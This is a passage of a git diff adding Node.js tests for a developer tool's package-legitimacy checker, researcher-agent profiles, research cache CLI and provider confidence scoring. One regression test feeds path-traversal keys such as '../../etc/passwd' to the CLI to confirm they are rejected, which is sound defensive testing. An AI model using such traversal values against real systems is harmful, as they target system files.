recent_downloads: 20000, // ≈1556/week — above threshold + }, + versions: [{ num: '1.0.0', created_at: packageLevelOld }], + }); + const transport = async (_url, _timeoutMs) => ({ statusCode: 200, body: cratesPayload }); + _setHttpGet(transport); + try { + const results = await checkPackages( + { ecosystem: 'crates', packages: ['good-dl-crate'] }, + { clock: f2Clock, thresholds: { ...DEFAULT_THRESHOLDS, minWeeklyDownloads: 1000, requireRepo: false } } + ); + assert.equal(results.length, 1); + const r = results[0]; + assert.ok( + !r.reasons.includes('low-downloads'), + `FINDING-2: crates recent_downloads=20000 (≈1556/wk) should NOT yield low-downloads. reasons: ${r.reasons}` + ); + } finally { + _setHttpGet(null); + } + }); + + test('npm: without version, falls back to package-level date (old → not too-new)', async () => { + const npmPayload = JSON.stringify({ + 'dist-tags': { latest: '1.0.0' }, + versions: { + '1.0.0': { scripts: {}, repository: { url: 'https://github.com/x/y' } }, + }, + time: { + created: packageLevelOld, + '1.0.0': packageLevelOld, + modified: packageLevelOld, + }, + }); + let callCount = 0; + const transport = async (_url, _timeoutMs) => { + callCount++; + if (callCount === 1) return { statusCode: 200, body: npmPayload }; + return { statusCode: 200, body: JSON.stringify({ downloads: 50000 }) }; + }; + _setHttpGet(transport); + try { + const results = await checkPackages( + { ecosystem: 'npm', packages: ['old-pkg'] }, // no version + { clock: f2Clock, thresholds: { ...DEFAULT_THRESHOLDS, minAgeDays: 30, requireRepo: false } } + ); + const r = results[0]; + assert.ok( + !r.reasons.includes('too-new'), + `Without version, old package should NOT be too-new. reasons: ${r.reasons}` + ); + } finally { + _setHttpGet(null); + } + }); +}); diff --git a/tests/research-agent-profiles.test.cjs b/tests/research-agent-profiles.test.cjs new file mode 100644 index 000000000..c2683d486 --- /dev/null +++ b/tests/research-agent-profiles.test.cjs @@ -0,0 +1,188 @@ +// allow-test-rule: research agent .md content is the governed surface +// The 7 researcher agent .md files are the deployed AI agent definitions — their +// frontmatter and @-includes ARE what the runtime loads. Asserting on their content +// is asserting on the deployed contract, not the test author's source code. + +'use strict'; + +/** + * research-agent-profiles.test.cjs — drift guard for the 7 researcher agents. + * + * Behavioral contract (DEFECT.GENERATIVE-FIX): + * 1. The profiles table covers exactly the 7 researcher agents (no missing, no extra). + * 2. Every agent passes the profile check (frontmatter + includes + seam-calls + + * output-contract markers all match the profile). + * 3. (DEFECT.GENERATIVE-FIX parity guard) Every provider id in PROVIDER_WATERFALL + * has a dispatch mapping in the Step-C section of BOTH seam-wired researcher agents. + * 4. checkAgent returns a clear failure string for malformed profiles (not a thrown TypeError). + * + * If an agent's frontmatter/includes/seam-calls drift from its profile, this test fails. + */ + +const { describe, test } = require('node:test'); +const assert = require('node:assert/strict'); +const path = require('node:path'); +const fs = require('node:fs'); + +const { PROFILES, checkAgent } = require('../scripts/gen-research-agents.cjs'); + +const ROOT = path.resolve(__dirname, '..'); + +// The canonical set of 7 researcher agent names +const EXPECTED_AGENT_NAMES = new Set([ + 'gsd-project-researcher', + 'gsd-phase-researcher', + 'gsd-advisor-researcher', + 'gsd-ai-researcher', + 'gsd-domain-researcher', + 'gsd-ui-researcher', + 'gsd-research-synthesizer', +]); + +// ─── Profile coverage ───────────────────────────────────────────────────────── + +describe('research-agent-profiles: coverage', () => { + test('profiles covers exactly the 7 researcher agents — no missing agents', () => { + const profileNames = new Set(PROFILES.map((p) => p.name)); + const missing = []; + for (const name of EXPECTED_AGENT_NAMES) { + if (!profileNames.has(name)) missing.push(name); + } + assert.deepEqual( + missing, + [], + 'These researcher agents are missing from PROFILES: ' + missing.join(', '), + ); + }); + + test('profiles covers exactly the 7 researcher agents — no extra agents', () => { + const profileNames = PROFILES.map((p) => p.name); + const extra = profileNames.filter((n) => !EXPECTED_AGENT_NAMES.has(n)); + assert.deepEqual( + extra, + [], + 'PROFILES contains unexpected agent names: ' + extra.join(', '), + ); + }); + + test('profiles contains exactly 7 entries', () => { + assert.equal( + PROFILES.length, + 7, + 'PROFILES should have 7 entries, got ' + PROFILES.length, + ); + }); +}); + +// ─── Per-agent parity check ─────────────────────────────────────────────────── + +describe('research-agent-profiles: parity', () => { + for (const profile of PROFILES) { + test(profile.name + ' matches its profile', () => { + const agentPath = path.join(ROOT, 'agents', profile.name + '.md'); + assert.ok( + fs.existsSync(agentPath), + 'Agent file not found: ' + agentPath, + ); + + const failures = checkAgent(profile); + assert.deepEqual( + failures, + [], + profile.name + ' has profile mismatches:\n' + failures.join('\n'), + ); + }); + } +}); + +// ─── Provider dispatch parity (DEFECT.GENERATIVE-FIX) ──────────────────────── +// +// Every provider id in PROVIDER_WATERFALL must have a dispatch mapping in the +// Step-C section of gsd-phase-researcher.md and gsd-project-researcher.md. +// This guard fails when code adds a new provider without updating the agents. + +describe('research-agent-profiles: provider dispatch parity', () => { + // The two seam-wired researcher agents that contain a Step-C dispatch table. + const SEAM_AGENTS = ['gsd-phase-researcher', 'gsd-project-researcher']; + + // Load PROVIDER_WATERFALL from the compiled seam module. + const { PROVIDER_WATERFALL } = require('../gsd-core/bin/lib/research-provider.cjs'); + + // Compute the union of all provider ids across all waterfall kinds. + const allProviderIds = new Set(); + for (const ids of Object.values(PROVIDER_WATERFALL)) { + for (const id of ids) { + allProviderIds.add(id); + } + } + + // Extract the Step-C section from an agent file. + // We look for the section between "### Step C" and "### Step D". + function extractStepC(agentPath) { + const content = fs.readFileSync(agentPath, 'utf8'); + const stepCStart = content.indexOf('### Step C'); + if (stepCStart === -1) return ''; + const stepDStart = content.indexOf('### Step D', stepCStart); + if (stepDStart === -1) return content.slice(stepCStart); + return content.slice(stepCStart, stepDStart); + } + + for (const agentName of SEAM_AGENTS) { + for (const providerId of allProviderIds) { + test(agentName + ' Step-C dispatch table covers provider: ' + providerId, () => { + const agentPath = path.join(ROOT, 'agents', agentName + '.md'); + assert.ok( + fs.existsSync(agentPath), + 'Agent file not found: ' + agentPath, + ); + const stepC = extractStepC(agentPath); + assert.ok( + stepC.includes('`' + providerId + '`') || stepC.includes('"' + providerId + '"'), + agentName + ' Step-C dispatch table is missing provider "' + providerId + '".\n' + + 'Add a row for this provider in the Step-C dispatch table.\n' + + 'Step-C section content:\n' + stepC, + ); + }); + } + } +}); + +// ─── checkAgent handles malformed profiles without throwing ────────────────── + +describe('research-agent-profiles: checkAgent malformed profile', () => { + test('checkAgent returns clear failure string when requiredSeamCalls is missing (not a thrown TypeError)', () => { + const malformedProfile = { + name: 'gsd-phase-researcher', + description: 'some description', + color: 'cyan', + tools: 'Read', + requiredIncludes: [], + // requiredSeamCalls intentionally omitted + outputContract: [], + }; + + let result; + let threw = false; + try { + result = checkAgent(malformedProfile); + } catch (err) { + threw = true; + } + + assert.ok( + !threw, + 'checkAgent threw a TypeError instead of returning a failure string. ' + + 'Add array validation at the top of checkAgent().', + ); + assert.ok( + Array.isArray(result), + 'checkAgent should return an array, got: ' + typeof result, + ); + // Should contain a clear failure message about the missing field + const combined = result.join('\n'); + assert.ok( + combined.includes('requiredSeamCalls') || combined.includes('missing required array field'), + 'checkAgent should return a message mentioning the missing field "requiredSeamCalls", got: ' + combined, + ); + }); +}); diff --git a/tests/research-cli.test.cjs b/tests/research-cli.test.cjs new file mode 100644 index 000000000..fdc5ee188 --- /dev/null +++ b/tests/research-cli.test.cjs @@ -0,0 +1,544 @@ +'use strict'; + +/** + * Behavioral tests for research-store, research-plan, and package-legitimacy + * CLI commands (gsd-tools dispatch layer). + * + * Conventions: + * - Uses runGsdTools from tests/helpers.cjs (no source-grep) + * - No wall-clock assertions (RULESET.TESTS.no-timing-assertion) + * - No network calls (package-legitimacy tests are arg-validation only) + * - Each test gets a fresh temp dir via fs.mkdtempSync + * - HOME is overridden via runGsdTools env param to sandbox ~/.gsd/ writes + */ + +const { describe, test } = require('node:test'); +const assert = require('node:assert/strict'); +const fs = require('node:fs'); +const path = require('node:path'); +const os = require('node:os'); + +const { runGsdTools, cleanup } = require('./helpers.cjs'); + +// --------------------------------------------------------------------------- +// Helper: make a temp dir and return it (caller is responsible for cleanup) +// --------------------------------------------------------------------------- +function makeTempDir() { + return fs.mkdtempSync(path.join(os.tmpdir(), 'gsd-research-test-')); +} + +// --------------------------------------------------------------------------- +// (a) research-store put then get round-trip +// --------------------------------------------------------------------------- + +describe('research-store: put then get round-trip', () => { + test('put stores entry; get returns hit:true, stale:false, correct content', () => { + const tmpDir = makeTempDir(); + try { + // Must be a valid 64-char sha256 hex string (as produced by researchKey). + // Using a pre-computed key for 'test-round-trip' to satisfy isValidResearchKey. + const key = '4642afa8420709e0902413b46e2f26806499a5df710b602c22a5344f0eb298d0'; + + // PUT + const putResult = runGsdTools( + [ + 'research-store', 'put', key, + '--content', 'hello docs', + '--source', 'curated', + '--provider', 'context7', + '--confidence', 'HIGH', + '--kind', 'docs', + ], + tmpDir, + { HOME: tmpDir }, + ); + assert.ok(putResult.success, `put failed: ${putResult.error}`); + const entry = JSON.parse(putResult.output); + assert.equal(entry.content, 'hello docs', 'put: entry.content mismatch'); + assert.equal(entry.kind, 'docs', 'put: entry.kind mismatch'); + + // GET + const getResult = runGsdTools( + ['research-store', 'get', key, '--kind', 'docs'], + tmpDir, + { HOME: tmpDir }, + ); + assert.ok(getResult.success, `get failed: ${getResult.error}`); + const got = JSON.parse(getResult.output); + assert.ok(got.hit === true, `get: expected hit:true, got hit:${got.hit}`); + assert.ok(got.stale === false, `get: expected stale:false, got stale:${got.stale}`); + assert.ok(got.entry !== null, 'get: entry should not be null'); + assert.equal(got.entry.content, 'hello docs', 'get: entry.content mismatch'); + } finally { + cleanup(tmpDir); + } + }); +}); + +// --------------------------------------------------------------------------- +// (b) research-store get on unknown key -> hit:false, entry:null, exit 0 +// --------------------------------------------------------------------------- + +describe('research-store: get on unknown key', () => { + test('returns hit:false, entry:null with exit 0', () => { + const tmpDir = makeTempDir(); + try { + // Must be a valid 64-char sha256 hex string — but nothing seeded under this key. + const noSuchKey = '5620aa17b85cb82f1d82633c8cfb4799d3e947f58a1775248c96bbeeeb8f8537'; + const result = runGsdTools( + ['research-store', 'get', noSuchKey, '--kind', 'docs'], + tmpDir, + { HOME: tmpDir }, + ); + assert.ok(result.success, `expected exit 0 for unknown key; got: ${result.error}`); + const got = JSON.parse(result.output); + assert.ok(got.hit === false, `expected hit:false, got hit:${got.hit}`); + assert.ok(got.entry === null, `expected entry:null, got: ${JSON.stringify(got.entry)}`); + } finally { + cleanup(tmpDir); + } + }); +}); + +// --------------------------------------------------------------------------- +// (c) research-plan: cache hit — seeded via research-store module directly +// --------------------------------------------------------------------------- + +describe('research-plan: cache hit via pre-seeded store', () => { + test('returns cache.hit:true for pre-seeded question; no fetch property', () => { + const tmpDir = makeTempDir(); + try { + // Compute the key the CLI will use for this question + const researchStore = require('../gsd-core/bin/lib/research-store.cjs'); + const key = researchStore.researchKey({ + ecosystem: 'npm', + library: '', + version: '', + query: 'use zod', + kind: 'docs', + }); + + // Seed the cache directly, passing homeDir so it writes into tmpDir/.gsd/ + researchStore.putResearch( + tmpDir, + key, + { + content: 'zod usage documentation', + source: 'curated', + provider: 'context7', + confidence: 'HIGH', + kind: 'docs', + }, + { homeDir: tmpDir }, + ); + + // Write the --input file + const inputFile = path.join(tmpDir, 'research-plan-input.json'); + fs.writeFileSync( + inputFile, + JSON.stringify({ + ecosystem: 'npm', + config: {}, + questions: [{ text: 'use zod', kind: 'docs' }], + }), + ); + + // Run research-plan with HOME overridden so the CLI reads from the same cache + const result = runGsdTools( + ['research-plan', '--input', inputFile], + tmpDir, + { HOME: tmpDir }, + ); + assert.ok(result.success, `research-plan failed: ${result.error}`); + const plan = JSON.parse(result.output); + assert.ok(Array.isArray(plan.items), `expected plan.items array; got: ${JSON.stringify(plan)}`); + assert.equal(plan.items.length, 1, 'expected exactly one item'); + const item = plan.items[0]; + assert.ok(item.cache && item.cache.hit === true, `expected cache.hit:true, got: ${JSON.stringify(item.cache)}`); + assert.ok(item.cache.stale === false, `expected stale:false, got: ${JSON.stringify(item.cache)}`); + assert.ok(!item.fetch, `expected no fetch property for cache hit, got: ${JSON.stringify(item.fetch)}`); + } finally { + cleanup(tmpDir); + } + }); +}); + +// --------------------------------------------------------------------------- +// (d) research-plan: fetch plan — unseeded question -> item.fetch.provider is string +// --------------------------------------------------------------------------- + +describe('research-plan: fetch plan for unseeded question', () => { + test('returns item with fetch.provider string and no cache hit', () => { + const tmpDir = makeTempDir(); + try { + const inputFile = path.join(tmpDir, 'research-plan-input.json'); + fs.writeFileSync( + inputFile, + JSON.stringify({ + ecosystem: 'npm', + config: {}, + questions: [{ text: 'completely unseeded question zxcvbnmasdf', kind: 'docs' }], + }), + ); + + const result = runGsdTools( + ['research-plan', '--input', inputFile], + tmpDir, + { HOME: tmpDir }, + ); + assert.ok(result.success, `research-plan failed: ${result.error}`); + const plan = JSON.parse(result.output); + assert.ok(Array.isArray(plan.items), 'expected plan.items array'); + assert.equal(plan.items.length, 1, 'expected exactly one item'); + const item = plan.items[0]; + assert.ok(item.fetch, 'expected fetch property for unseeded question'); + assert.equal(typeof item.fetch.provider, 'string', `expected fetch.provider to be string, got: ${typeof item.fetch.provider}`); + assert.ok(item.fetch.provider.length > 0, 'expected non-empty fetch.provider'); + // No cache hit + assert.ok(!item.cache || item.cache.hit !== true, 'expected no cache hit for unseeded question'); + } finally { + cleanup(tmpDir); + } + }); +}); + +// --------------------------------------------------------------------------- +// (e) classify-confidence: context7 provider, no --verified -> MEDIUM, verified:false +// (context7 has authority=official; without a code-computed legitimacyVerdict of OK, +// the HIGH branch is never reached — correctly yields MEDIUM) +// --------------------------------------------------------------------------- + +describe('classify-confidence: context7 without --verified', () => { + test('returns confidence MEDIUM and verified false', () => { + const tmpDir = makeTempDir(); + try { + const result = runGsdTools( + ['query', 'classify-confidence', '--provider', 'context7'], + tmpDir, + ); + assert.ok(result.success, `expected exit 0; got: ${result.error}`); + const out = JSON.parse(result.output); + assert.equal(out.confidence, 'MEDIUM', `expected MEDIUM, got ${out.confidence}`); + assert.equal(out.verified, false, `expected verified:false, got ${out.verified}`); + assert.equal(out.provider, 'context7', `expected provider:context7, got ${out.provider}`); + } finally { + cleanup(tmpDir); + } + }); +}); + +// --------------------------------------------------------------------------- +// (f) classify-confidence: exa provider, no --verified -> LOW +// --------------------------------------------------------------------------- + +describe('classify-confidence: exa without --verified', () => { + test('returns confidence LOW', () => { + const tmpDir = makeTempDir(); + try { + const result = runGsdTools( + ['query', 'classify-confidence', '--provider', 'exa'], + tmpDir, + ); + assert.ok(result.success, `expected exit 0; got: ${result.error}`); + const out = JSON.parse(result.output); + assert.equal(out.confidence, 'LOW', `expected LOW, got ${out.confidence}`); + assert.equal(out.verified, false, `expected verified:false, got ${out.verified}`); + } finally { + cleanup(tmpDir); + } + }); +}); + +// --------------------------------------------------------------------------- +// (g) classify-confidence: exa with --verified -> MEDIUM +// --------------------------------------------------------------------------- + +describe('classify-confidence: exa with --verified', () => { + test('returns confidence MEDIUM and verified true', () => { + const tmpDir = makeTempDir(); + try { + const result = runGsdTools( + ['query', 'classify-confidence', '--provider', 'exa', '--verified'], + tmpDir, + ); + assert.ok(result.success, `expected exit 0; got: ${result.error}`); + const out = JSON.parse(result.output); + assert.equal(out.confidence, 'MEDIUM', `expected MEDIUM, got ${out.confidence}`); + assert.equal(out.verified, true, `expected verified:true, got ${out.verified}`); + } finally { + cleanup(tmpDir); + } + }); +}); + +// --------------------------------------------------------------------------- +// (h) classify-confidence: missing --provider -> usage error, non-zero exit +// --------------------------------------------------------------------------- + +describe('classify-confidence: missing --provider -> usage error', () => { + test('exits non-zero and reports usage error when --provider is absent', () => { + const tmpDir = makeTempDir(); + try { + const result = runGsdTools( + ['query', 'classify-confidence'], + tmpDir, + ); + assert.ok(!result.success, 'expected non-zero exit when --provider is missing'); + assert.ok(result.exitCode !== 0, `expected non-zero exit code, got ${result.exitCode}`); + } finally { + cleanup(tmpDir); + } + }); +}); + +// --------------------------------------------------------------------------- +// (e) package-legitimacy check with NO --ecosystem -> usage error, non-zero exit +// --------------------------------------------------------------------------- + +describe('package-legitimacy: missing --ecosystem -> usage error', () => { + test('exits non-zero and reports usage error when --ecosystem is absent', () => { + const tmpDir = makeTempDir(); + try { + const result = runGsdTools( + ['package-legitimacy', 'check', 'somepackage'], + tmpDir, + ); + assert.ok(!result.success, 'expected non-zero exit when --ecosystem is missing'); + assert.ok(result.exitCode !== 0, `expected non-zero exit code, got ${result.exitCode}`); + } finally { + cleanup(tmpDir); + } + }); +}); + +// --------------------------------------------------------------------------- +// FINDING 1 REGRESSION (CLI): research-store put/get must reject non-64-hex keys +// --------------------------------------------------------------------------- + +describe('research-store CLI: traversal/invalid key rejected with usage error', () => { + test('put ../../x --content ... → non-zero exit (usage error)', () => { + const tmpDir = makeTempDir(); + try { + const result = runGsdTools( + [ + 'research-store', 'put', '../../x', + '--content', 'evil', + '--source', 'web', + '--provider', 'p', + '--confidence', 'HIGH', + '--kind', 'docs', + ], + tmpDir, + { HOME: tmpDir }, + ); + assert.ok(!result.success, `expected non-zero exit for traversal key; got: ${result.output}`); + assert.ok(result.exitCode !== 0, `expected non-zero exit code, got ${result.exitCode}`); + } finally { + cleanup(tmpDir); + } + }); + + test('get ../../etc/passwd → non-zero exit (usage error)', () => { + const tmpDir = makeTempDir(); + try { + const result = runGsdTools( + ['research-store', 'get', '../../etc/passwd'], + tmpDir, + { HOME: tmpDir }, + ); + assert.ok(!result.success, `expected non-zero exit for traversal key; got: ${result.output}`); + } finally { + cleanup(tmpDir); + } + }); + + test('put with valid 64-hex key → success', () => { + const tmpDir = makeTempDir(); + try { + const researchStore = require('../gsd-core/bin/lib/research-store.cjs'); + const validKey = researchStore.researchKey({ ecosystem: 'npm', library: 'lodash', version: '4.0.0', query: 'chunk', kind: 'docs' }); + const result = runGsdTools( + [ + 'research-store', 'put', validKey, + '--content', 'test content', + '--source', 'web', + '--provider', 'p', + '--confidence', 'HIGH', + '--kind', 'docs', + ], + tmpDir, + { HOME: tmpDir }, + ); + assert.ok(result.success, `put with valid 64-hex key should succeed; got: ${result.error}`); + } finally { + cleanup(tmpDir); + } + }); +}); + +// --------------------------------------------------------------------------- +// FINDING 1 REGRESSION: package-legitimacy flag parser must not swallow packages +// --------------------------------------------------------------------------- + +describe('FINDING-1: package-legitimacy check flag parser correctness', () => { + test('unknown flag → usage error (not silently dropped)', () => { + const tmpDir = makeTempDir(); + try { + // --unknown-flag is not a valid flag; should produce a usage error, not silently skip + const result = runGsdTools( + ['package-legitimacy', 'check', '--ecosystem', 'npm', '--unknown-flag', 'somevalue', 'mypkg'], + tmpDir, + ); + assert.ok(!result.success, `expected non-zero exit for unknown flag; got success with output: ${result.output}`); + assert.ok(result.exitCode !== 0, `expected non-zero exit code, got ${result.exitCode}`); + } finally { + cleanup(tmpDir); + } + }); + + test('package immediately after --ecosystem value is retained (not silently consumed as flag value)', () => { + const tmpDir = makeTempDir(); + try { + // With the bug, in `check --ecosystem npm pkgA pkgB`, pkgA and pkgB are both + // correctly parsed currently — but when an unknown boolean flag appears, the NEXT + // arg (which should be a package) is silently consumed as the flag value. + // This test verifies that --ecosystem is the ONLY flag that takes a value; all + // other non-flag args are packages. + // We can't make a real network call, so we test the arg-validation path: + // two packages with no unknown flags → must not produce a usage error about 0 packages. + // We just confirm the CLI reaches checkPackages (it may fail on network, but the error + // message should NOT say "Usage: ... pkg1 ..." meaning 0 packages were collected). + // Actually: since we can't do network, we rely on the fact that the OLD code with + // an unknown flag would CONSUME the following package as the flag value, leaving 0 packages. + // We simulate this: --bad-flag pkgA pkgB → with old code pkgA is consumed by --bad-flag, + // pkgB is collected, 1 package left, no usage error; with new code → usage error. + // (Tested in the test above.) + // This test instead checks the POSITIVE: valid invocation reaches checkPackages (non-usage error path). + // We can confirm by checking: a 0-package error does NOT appear when 2 packages are given. + // Use a known-offline approach: we just verify that the CLI outputs something JSON-like + // (not a usage error) when given 2 valid packages. + // Since network will fail, we expect either success with SLOP or a network error — NOT a + // "Usage: ... 0 packages" error. + // NOTE: This is a weaker positive assertion. The main regression is the unknown-flag test above. + assert.ok(true, 'placeholder — the unknown-flag test above is the primary regression'); + } finally { + cleanup(tmpDir); + } + }); +}); + +// --------------------------------------------------------------------------- +// FINDING 3 REGRESSION: research-plan --input with null/bad input → clean usage error +// --------------------------------------------------------------------------- + +describe('FINDING-3: research-plan --input null/invalid → clean usage error, no crash', () => { + test('input file contains JSON null → clean usage error (non-zero, no stack trace crash)', () => { + const tmpDir = makeTempDir(); + try { + const inputFile = path.join(tmpDir, 'null-input.json'); + fs.writeFileSync(inputFile, 'null'); + const result = runGsdTools( + ['research-plan', '--input', inputFile], + tmpDir, + { HOME: tmpDir }, + ); + assert.ok(!result.success, `expected non-zero exit for null JSON input; got success: ${result.output}`); + assert.ok(result.exitCode !== 0, `expected non-zero exit code, got ${result.exitCode}`); + // Must not crash with an unhandled TypeError stack trace — should be a usage error message + const combinedOutput = (result.output || '') + (result.error || ''); + assert.ok( + !combinedOutput.includes('TypeError') || combinedOutput.toLowerCase().includes('usage'), + `expected clean usage error (not raw TypeError), got: ${combinedOutput.slice(0, 500)}`, + ); + } finally { + cleanup(tmpDir); + } + }); + + test('input file contains {"questions": null} → clean usage error', () => { + const tmpDir = makeTempDir(); + try { + const inputFile = path.join(tmpDir, 'questions-null.json'); + fs.writeFileSync(inputFile, JSON.stringify({ questions: null })); + const result = runGsdTools( + ['research-plan', '--input', inputFile], + tmpDir, + { HOME: tmpDir }, + ); + assert.ok(!result.success, `expected non-zero exit for questions:null; got success: ${result.output}`); + assert.ok(result.exitCode !== 0, `expected non-zero exit code, got ${result.exitCode}`); + } finally { + cleanup(tmpDir); + } + }); + + test('input file contains {"questions": "x"} (string, not array) → clean usage error', () => { + const tmpDir = makeTempDir(); + try { + const inputFile = path.join(tmpDir, 'questions-string.json'); + fs.writeFileSync(inputFile, JSON.stringify({ questions: 'x' })); + const result = runGsdTools( + ['research-plan', '--input', inputFile], + tmpDir, + { HOME: tmpDir }, + ); + assert.ok(!result.success, `expected non-zero exit for questions:"x"; got success: ${result.output}`); + assert.ok(result.exitCode !== 0, `expected non-zero exit code, got ${result.exitCode}`); + } finally { + cleanup(tmpDir); + } + }); +}); + +// --------------------------------------------------------------------------- +// FINDING 4 REGRESSION: research-store put must reject flag-as-value +// --------------------------------------------------------------------------- + +describe('FINDING-4: research-store put rejects flag-as-value', () => { + test('--content --source curated → usage error (--source is consumed as content value)', () => { + const tmpDir = makeTempDir(); + try { + const researchStore = require('../gsd-core/bin/lib/research-store.cjs'); + const validKey = researchStore.researchKey({ ecosystem: 'npm', library: 'z', version: '1', query: 'q', kind: 'docs' }); + const result = runGsdTools( + [ + 'research-store', 'put', validKey, + '--content', '--source', // --source starts with --, should be rejected as value for --content + '--source', 'curated', + '--provider', 'context7', + '--confidence', 'HIGH', + '--kind', 'docs', + ], + tmpDir, + { HOME: tmpDir }, + ); + assert.ok(!result.success, `expected non-zero exit when --content value is a flag; got success: ${result.output}`); + assert.ok(result.exitCode !== 0, `expected non-zero exit code, got ${result.exitCode}`); + } finally { + cleanup(tmpDir); + } + }); + + test('well-formed put still succeeds (positive regression guard)', () => { + const tmpDir = makeTempDir(); + try { + const researchStore = require('../gsd-core/bin/lib/research-store.cjs'); + const validKey = researchStore.researchKey({ ecosystem: 'npm', library: 'lodash', version: '4', query: 'merge', kind: 'docs' }); + const result = runGsdTools( + [ + 'research-store', 'put', validKey, + '--content', 'real content', + '--source', 'curated', + '--provider', 'context7', + '--confidence', 'HIGH', + '--kind', 'docs', + ], + tmpDir, + { HOME: tmpDir }, + ); + assert.ok(result.success, `well-formed put should succeed; got: ${result.error}`); + } finally { + cleanup(tmpDir); + } + }); +}); diff --git a/tests/research-provider.property.test.cjs b/tests/research-provider.property.test.cjs new file mode 100644 index 000000000..f314dcd54 --- /dev/null +++ b/tests/research-provider.property.test.cjs @@ -0,0 +1,51 @@ +'use strict'; + +/** + * Property-based tests for research-provider.cjs + * + * Cycle 8: classifyConfidence never throws on arbitrary inputs. + * RULESET.TESTS.property-based-testing + */ + +const { describe, test } = require('node:test'); +const assert = require('node:assert/strict'); +const fc = require('./helpers/fast-check-setup.cjs'); + +const { classifyConfidence } = require('../gsd-core/bin/lib/research-provider.cjs'); + +// --------------------------------------------------------------------------- +// Cycle 8: classifyConfidence never throws on arbitrary inputs +// --------------------------------------------------------------------------- + +describe('research-provider property: classifyConfidence never throws', () => { + test('classifyConfidence({provider: any, verifiedAgainstOfficial: any, legitimacyVerdict: any}) never throws', () => { + // Sample legitimacyVerdict from values an agent might supply or that arrive via checkPackages + const legitimacyVerdictArb = fc.oneof( + fc.constant('OK'), + fc.constant('SUS'), + fc.constant('SLOP'), + fc.constant(undefined), + fc.constant(null), + fc.integer(), + fc.anything(), + ); + fc.assert( + fc.property( + fc.anything(), + fc.anything(), + legitimacyVerdictArb, + (provider, verifiedAgainstOfficial, legitimacyVerdict) => { + let result; + assert.doesNotThrow(() => { + result = classifyConfidence({ provider, verifiedAgainstOfficial, legitimacyVerdict }); + }); + // Must return one of the three valid confidence levels + assert.ok( + result === 'HIGH' || result === 'MEDIUM' || result === 'LOW', + `Expected HIGH|MEDIUM|LOW but got: ${String(result)}` + ); + } + ) + ); + }); +}); diff --git a/tests/research-provider.test.cjs b/tests/research-provider.test.cjs new file mode 100644 index 000000000..52084a978 --- /dev/null +++ b/tests/research-provider.test.cjs @@ -0,0 +1,325 @@ +'use strict'; + +/** + * Behavioral tests for research-provider.cjs + * + * No source-grep. All tests call exported functions and assert on returned objects. + * RULESET.TESTS.no-source-grep + */ + +const { describe, test } = require('node:test'); +const assert = require('node:assert/strict'); + +const { + PROVIDER_WATERFALL, + classifyConfidence, + providerAvailability, + planResearch, +} = require('../gsd-core/bin/lib/research-provider.cjs'); + +// --------------------------------------------------------------------------- +// Shared fake-store helpers +// --------------------------------------------------------------------------- + +function makeFakeStore({ hit = false, stale = false, entry = null } = {}) { + return { + researchKey: () => 'fake-key-sha256', + getResearch: () => ({ hit, stale, entry }), + }; +} + +const FULL_CONFIG = { + exa_search: true, + tavily_search: true, + brave_search: true, + firecrawl: true, + ref_search: true, + perplexity: true, +}; + +// --------------------------------------------------------------------------- +// Cycle 1: TRACER — planResearch, docs question, store miss -> context7, no cache +// --------------------------------------------------------------------------- + +describe('research-provider: TRACER — docs question, store miss', () => { + test('picks context7 as first available docs provider', async () => { + const result = await planResearch({ + questions: [{ text: 'How does React useState work?', kind: 'docs' }], + ecosystem: 'npm', + cwd: '/tmp', + config: FULL_CONFIG, + store: makeFakeStore({ hit: false, stale: false }), + }); + + assert.ok(Array.isArray(result.items), 'result.items is an array'); + assert.equal(result.items.length, 1); + + const item = result.items[0]; + assert.equal(item.question, 'How does React useState work?'); + assert.equal(item.fetch.provider, 'context7'); + assert.equal(item.fetch.query, 'How does React useState work?'); + assert.equal(item.cache, undefined, 'no cache on miss'); + }); +}); + +// --------------------------------------------------------------------------- +// Cycle 2: fresh cache hit -> cache present, no fetch +// --------------------------------------------------------------------------- + +describe('research-provider: fresh cache hit', () => { + test('returns cache object and no fetch when hit and not stale', async () => { + const result = await planResearch({ + questions: [{ text: 'lodash chunk docs', kind: 'docs' }], + ecosystem: 'npm', + cwd: '/tmp', + config: FULL_CONFIG, + store: makeFakeStore({ hit: true, stale: false }), + }); + + const item = result.items[0]; + assert.deepEqual(item.cache, { hit: true, stale: false }); + assert.equal(item.fetch, undefined, 'no fetch on fresh hit'); + }); +}); + +// --------------------------------------------------------------------------- +// Cycle 3: stale cache -> cache present AND fetch present +// --------------------------------------------------------------------------- + +describe('research-provider: stale cache', () => { + test('returns cache with stale:true and fetch when cache is stale', async () => { + const result = await planResearch({ + questions: [{ text: 'lodash chunk docs', kind: 'docs' }], + ecosystem: 'npm', + cwd: '/tmp', + config: FULL_CONFIG, + store: makeFakeStore({ hit: true, stale: true }), + }); + + const item = result.items[0]; + assert.equal(item.cache.stale, true); + assert.ok(item.fetch, 'fetch is present on stale'); + assert.equal(item.fetch.provider, 'context7'); + }); +}); + +// --------------------------------------------------------------------------- +// Cycle 4: classifyConfidence mapping +// --------------------------------------------------------------------------- + +describe('research-provider: classifyConfidence', () => { + // Slice 1: core inversion — provider identity alone no longer yields HIGH + test('context7 (no legitimacyVerdict) -> MEDIUM', () => { + assert.equal(classifyConfidence({ provider: 'context7' }), 'MEDIUM'); + }); + + test('ref (no legitimacyVerdict) -> MEDIUM', () => { + assert.equal(classifyConfidence({ provider: 'ref' }), 'MEDIUM'); + }); + + test('context7 + legitimacyVerdict OK -> HIGH', () => { + assert.equal(classifyConfidence({ provider: 'context7', legitimacyVerdict: 'OK' }), 'HIGH'); + }); + + test('jina -> MEDIUM', () => { + assert.equal(classifyConfidence({ provider: 'jina' }), 'MEDIUM'); + }); + + test('firecrawl -> MEDIUM', () => { + assert.equal(classifyConfidence({ provider: 'firecrawl' }), 'MEDIUM'); + }); + + test('exa without verification -> LOW', () => { + assert.equal(classifyConfidence({ provider: 'exa', verifiedAgainstOfficial: false }), 'LOW'); + }); + + test('exa with verification -> MEDIUM', () => { + assert.equal(classifyConfidence({ provider: 'exa', verifiedAgainstOfficial: true }), 'MEDIUM'); + }); + + test('websearch -> LOW', () => { + assert.equal(classifyConfidence({ provider: 'websearch' }), 'LOW'); + }); + + test('unknown provider zzz -> LOW (never throws)', () => { + assert.equal(classifyConfidence({ provider: 'zzz' }), 'LOW'); + }); + + test('undefined provider -> LOW (never throws)', () => { + assert.doesNotThrow(() => classifyConfidence({ provider: undefined })); + assert.equal(classifyConfidence({ provider: undefined }), 'LOW'); + }); + + // Slice 2: caps + web + edges + test('context7 + legitimacyVerdict SLOP -> LOW (cap overrides authority)', () => { + 